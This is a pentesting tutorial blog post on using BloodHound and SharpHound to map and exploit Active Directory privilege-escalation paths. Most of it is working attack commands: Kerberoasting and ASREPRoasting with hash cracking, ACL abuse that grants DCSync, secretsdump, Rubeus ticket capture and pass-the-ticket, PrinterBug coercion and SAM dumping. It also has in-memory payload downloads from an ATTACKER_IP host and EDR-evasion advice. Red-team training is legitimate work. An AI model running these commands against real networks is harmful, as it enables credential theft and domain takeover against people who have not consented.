BloodHound is the closest thing to a cheat code for Active Directory pentesting. Feed it your domain data and it draws a map of every path from regular user to Domain Admin — paths that would take you days to find manually.

This guide covers everything: installation, data collection with SharpHound, running Cypher queries, and using the attack paths you find to actually escalate privileges.

What BloodHound Does (and Why It Matters)

Active Directory environments are complex. Thousands of users, hundreds of groups, nested permissions, ACL misconfigurations, Kerberos delegation settings — no human can reason about all of it manually.

BloodHound ingests all of that, builds a graph database, and runs graph theory algorithms to find the shortest path between any two nodes. You give it a starting point (your compromised account) and a target (Domain Admins), and it tells you exactly how to get there.

The result: attack paths that are technically correct, often overlooked by defenders, and frequently discovered during real engagements.

What BloodHound finds:

  • Shortest paths to Domain Admin, Enterprise Admin, DCSync rights
  • Kerberoastable accounts with admin privileges
  • ASREPRoastable users
  • Unconstrained and constrained delegation misconfigs
  • ACL abuse paths (WriteDACL, GenericWrite, ForceChangePassword, etc.)
  • Group membership chains that grant unexpected access
  • Local admin relationships across machines

Architecture Overview

BloodHound has three components:

ComponentRole
SharpHound (collector)Runs in the target environment, collects AD data
Neo4j (graph DB)Stores and queries the data as a graph
BloodHound GUIVisualizes attack paths, runs built-in queries

The flow: SharpHound collects → you import into Neo4j → BloodHound queries the graph.

BloodHound Editions

BloodHound CE (Community Edition) — the current open-source version, maintained by SpecterOps. Runs as a web app, requires Docker. This is what most teams use now.

BloodHound Legacy — the old Electron app. Still works, widely documented, but no longer actively developed. Still useful for quick standalone runs.

This guide covers both, starting with CE.

Installing BloodHound CE

The easiest path is Docker Compose.

# Prerequisites
sudo apt install docker.io docker-compose -y

# Get the official compose file
curl -L https://ghst.ly/getbhce | sudo docker compose -f - up

BloodHound CE will start at http://localhost:8080. Default credentials:

admin / bloodhoundcommunityedition

You’ll be forced to change the password on first login.

For a persistent install with custom config:

# Clone the repo
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound

# Start with Docker Compose
sudo docker compose -f docker-compose.yml up -d

# Check status
sudo docker compose ps

Installing BloodHound Legacy (Standalone)

If you want the old Electron app:

# Install Neo4j first
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable latest' | sudo tee /etc/apt/sources.list.d/neo4j.list
sudo apt update && sudo apt install neo4j -y

# Set Neo4j password
sudo neo4j-admin dbms set-initial-password yourpassword

# Start Neo4j
sudo systemctl start neo4j
sudo systemctl enable neo4j

# Download BloodHound binary
wget https://github.com/SpecterOps/BloodHound-Legacy/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
chmod +x BloodHound-linux-x64/BloodHound

# Run
./BloodHound-linux-x64/BloodHound --no-sandbox

Neo4j runs at http://localhost:7474. Default: neo4j/neo4j (you’ll set a new password on first login).

Collecting Data with SharpHound

SharpHound is the data collector. It runs in the target Windows environment and produces ZIP files containing JSON data about AD objects, permissions, and relationships.

Download SharpHound

# From your attacker machine — host SharpHound for download
python3 -m http.server 8000

# On the target (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/SharpHound.ps1')

Or use the binary directly:

# Transfer via SMB or HTTP
certutil -urlcache -split -f http://ATTACKER_IP:8000/SharpHound.exe C:\Windows\Temp\sh.exe

Basic Collection

# Default collection (most common)
.\SharpHound.exe -c All

# Collect everything including DC registry data
.\SharpHound.exe -c All,GPOLocalGroup

# Run as specific user (useful if you have creds)
.\SharpHound.exe -c All --ldapusername domain\user --ldappassword Password123

The -c All flag collects: Default, Group, LocalAdmin, RDP, DCOM, PSRemote, Session, Trusts, ACL, Container, GPO, ObjectProps.

Stealth Collection

When you need to stay quiet:

# Reduce LDAP requests, slow it down
.\SharpHound.exe -c Default --throttle 5000 --jitter 25

# Target specific OU to minimize noise
.\SharpHound.exe -c All --searchbase "OU=Workstations,DC=corp,DC=local"

# Skip ping checks (useful in segmented environments)
.\SharpHound.exe -c All --skipping

Remote Collection (No Shell on DC)

If you have domain credentials but no shell on a DC:

# Collect from remote DC via LDAP
.\SharpHound.exe -c All --domaincontroller 10.10.10.1 --domain corp.local

Output

SharpHound produces a ZIP file: YYYYMMDDHHMMSS_BloodHound.zip

Exfiltrate this to your attack box for import.

Importing Data into BloodHound CE

# Log into BloodHound CE at http://localhost:8080
# Navigate to: Administration → File Ingest
# Upload the ZIP file

Or via API:

# Get auth token first
TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/login \
  -H "Content-Type: application/json" \
  -d '{"login_method":"secret","secret":"yourpassword","username":"admin"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['session_token'])")

# Upload ZIP
curl -X POST http://localhost:8080/api/v2/file-upload/start \
  -H "Authorization: Bearer $TOKEN"

# Then upload file to the returned upload ID

Importing into BloodHound Legacy

Click “Upload Data” in the top right → drag the ZIP file in → wait for import.

Progress shows in the bottom right. Large environments (50k+ objects) can take several minutes.

Running Attack Path Queries

This is where the value is.

Built-in Queries (BloodHound CE)

In the Explore tab, use the prebuilt queries:

Shortest Paths:

  • Shortest Paths to Domain Admins from Owned Principals
  • Shortest Paths to High Value Targets
  • Shortest Paths from Kerberoastable Users

High Value Targets:

  • Find All Domain Admins
  • Find Computers with Unsupported OS
  • Find Computers with Unconstrained Delegation

Dangerous Rights:

  • Find Principals with DCSync Rights
  • Find Users with Foreign Domain Group Membership
  • Review ACLs for Dangerous Rights

Mark Owned Nodes

Always mark your compromised accounts/machines as owned first. BloodHound uses this to calculate shortest paths from your actual position.

# In the search bar, find your compromised user
# Right-click → Mark as Owned

Then run: Shortest Paths to High Value Targets from Owned Principals

This gives you your actual attack paths, not theoretical ones.

Key Attack Paths to Look For

1. Kerberoastable path to DA

User (Kerberoastable) → Member of Group → Admin access to machine → Path to DA

2. ASREPRoast chain

User (no preauth required) → High privilege group → DA

3. ACL abuse

UserA → GenericWrite → UserB → Member of → Domain Admins

4. Unconstrained delegation

Compromise machine with unconstrained delegation → Wait for DA to authenticate → Extract TGT → Pass-the-Ticket

5. WriteDACL / GenericAll chain

UserA → WriteDACL on Group → Add self to Group → Inherit admin privileges

Custom Cypher Queries

BloodHound’s real power is Cypher — Neo4j’s graph query language. You can write queries that the built-in UI doesn’t cover.

Connect to Neo4j (Legacy)

http://localhost:7474
Username: neo4j
Password: yourpassword

Useful Custom Queries

Find all users with path to DA in ≤ 3 hops:

MATCH p=shortestPath((u:User)-[*1..3]->(g:Group {name:"DOMAIN [email protected]"}))
WHERE NOT u.name STARTS WITH "ADMIN"
RETURN p

All computers with unconstrained delegation (excluding DCs):

MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name ENDS WITH "DC.CORP.LOCAL"
RETURN c.name, c.operatingsystem

Users with DCSync rights (not DA members):

MATCH (u:User)-[:GetChanges|GetChangesAll*1..]->(d:Domain)
WHERE NOT (u)-[:MemberOf*1..]->(:Group {name:"DOMAIN [email protected]"})
RETURN u.name

All Kerberoastable users with admin rights somewhere:

MATCH (u:User {hasspn:true})
MATCH p=(u)-[*1..5]->(c:Computer)
WHERE c.haslaps = false
RETURN u.name, u.serviceprincipalnames, count(p)
ORDER BY count(p) DESC

Find computers where X user has local admin:

MATCH (u:User {name:"[email protected]"})-[:AdminTo]->(c:Computer)
RETURN c.name

ASREPRoastable users with paths to high value:

MATCH (u:User {dontreqpreauth:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {highvalue:true}))
RETURN u.name, length(p) as hops
ORDER BY hops ASC

All groups with GenericAll on other groups:

MATCH (g1:Group)-[:GenericAll]->(g2:Group)
RETURN g1.name, g2.name

Add Custom Queries to the UI

In BloodHound Legacy, edit ~/.config/bloodhound/customqueries.json:

{
  "queries": [
    {
      "name": "ASREPRoastable with DA path",
      "category": "Custom",
      "queryList": [
        {
          "final": true,
          "query": "MATCH (u:User {dontreqpreauth:true}) MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN [email protected]'})) RETURN p"
        }
      ]
    }
  ]
}

Acting on What BloodHound Finds

Finding a path is step one. Executing it is step two.

Kerberoasting

# Impacket
python3 GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation -Path hashes.csv

# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

ASREPRoasting

# Impacket
python3 GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip 10.10.10.1

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

ACL Abuse — GenericWrite to Targeted Kerberoast

If you have GenericWrite over a user, you can set an SPN and Kerberoast them:

# PowerView
Set-DomainObject -Identity targetuser -Set @{serviceprincipalnames='fake/spn'}
Get-DomainSPNTicket -SPN 'fake/spn' -Format Hashcat

ACL Abuse — WriteDACL to Add DCSync Rights

# Add DCSync rights to your user
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity jsmith \
  -Rights DCSync

# Now run DCSync
python3 secretsdump.py corp.local/jsmith:[email protected]

Unconstrained Delegation Exploitation

# On the unconstrained machine — monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /targetuser:administrator

# Wait for a DC/admin to authenticate → capture TGT
# Pass the TGT
Rubeus.exe ptt /ticket:BASE64_TICKET

# Or force DC to authenticate via PrinterBug
SpoolSample.exe DC_IP UNCONSTRAINED_MACHINE_IP

For a deeper look at lab environments to practice these techniques, check out Vultr or DigitalOcean — both give you cheap Windows Server VMs to build AD labs without buying hardware.

BloodHound + Other Tools

BloodHound + CrackMapExec/NetExec:

# Validate local admin paths BloodHound found
nxc smb 10.10.10.0/24 -u jsmith -p Password123 --local-auth

# Dump SAM on machines you have local admin on
nxc smb TARGET_IP -u jsmith -p Password123 --sam

BloodHound + Impacket:

# Verify DA membership
python3 net.py corp.local/Administrator:[email protected] user -action query -user Administrator

# Execute commands after escalation
python3 psexec.py corp.local/Administrator:[email protected]

BloodHound + Rubeus:

# Kerberoast all SPN users found via BloodHound
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# ASREPRoast
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Operational Security Notes

SharpHound generates LDAP queries — lots of them. Modern EDR and SIEM tools can detect it.

Reduce noise:

  • Use --stealth flag (skips session enumeration — the noisiest part)
  • Collect with a non-domain-admin account when possible
  • Run during business hours when LDAP traffic blends in
  • Use --throttle and --jitter in sensitive environments
  • Target specific OUs instead of the whole domain

Avoid detection:

# Memory-only execution (no disk artifacts)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -NoSaveCache

# Use LDAPS (port 636) to blend with legitimate encrypted LDAP traffic
.\SharpHound.exe -c All --secureldap

If you want to go deeper on AD attack techniques beyond what BloodHound surfaces, The Hacker Playbook 3 is the best practical reference. It covers AD exploitation in detail — Kerberos attacks, ACL abuse, trust exploitation — all the techniques you’ll be executing after BloodHound gives you the map.

Common Issues

SharpHound errors out with “Access Denied” You need at minimum a standard domain user account. Run with explicit credentials:

.\SharpHound.exe -c All --ldapusername corp\user --ldappassword pass

Neo4j won’t start Check Java version — Neo4j requires Java 11+:

java -version
sudo apt install openjdk-11-jdk -y

Import hangs on large environments Split collection: collect Default first, then ACL, then Session separately. Import each ZIP individually.

BloodHound CE database fills up

# Check Neo4j disk usage
sudo docker exec bloodhound-graph-db-1 df -h

# Clear the database (destructive — reimport after)
# In BloodHound CE: Administration → Database Management → Clear Database

Edges missing after import Ensure SharpHound version matches the BloodHound CE version. Mismatches cause partial imports. Check GitHub releases for matching versions.

Quick Reference

TaskCommand
Install BH CEcurl -L https://ghst.ly/getbhce | sudo docker compose -f - up
Collect (all).\SharpHound.exe -c All
Collect (stealth).\SharpHound.exe -c Default --stealth
Collect (remote DC).\SharpHound.exe -c All --domaincontroller DC_IP
Find DA pathMark owned → run “Shortest Paths to DA from Owned”
Kerberoastpython3 GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request
ASREPRoastpython3 GetNPUsers.py domain/ -usersfile users.txt -format hashcat
DCSyncpython3 secretsdump.py domain/user:pass@DC_IP

BloodHound doesn’t make you a better attacker by itself — it makes the AD environment legible. What you do with the map is still on you. But in any reasonably complex domain, it will find paths that pure manual enumeration misses every time.


Want content like this written for your security company or blog? CipherWrite handles cybersecurity ghostwriting — articles, whitepapers, and technical guides.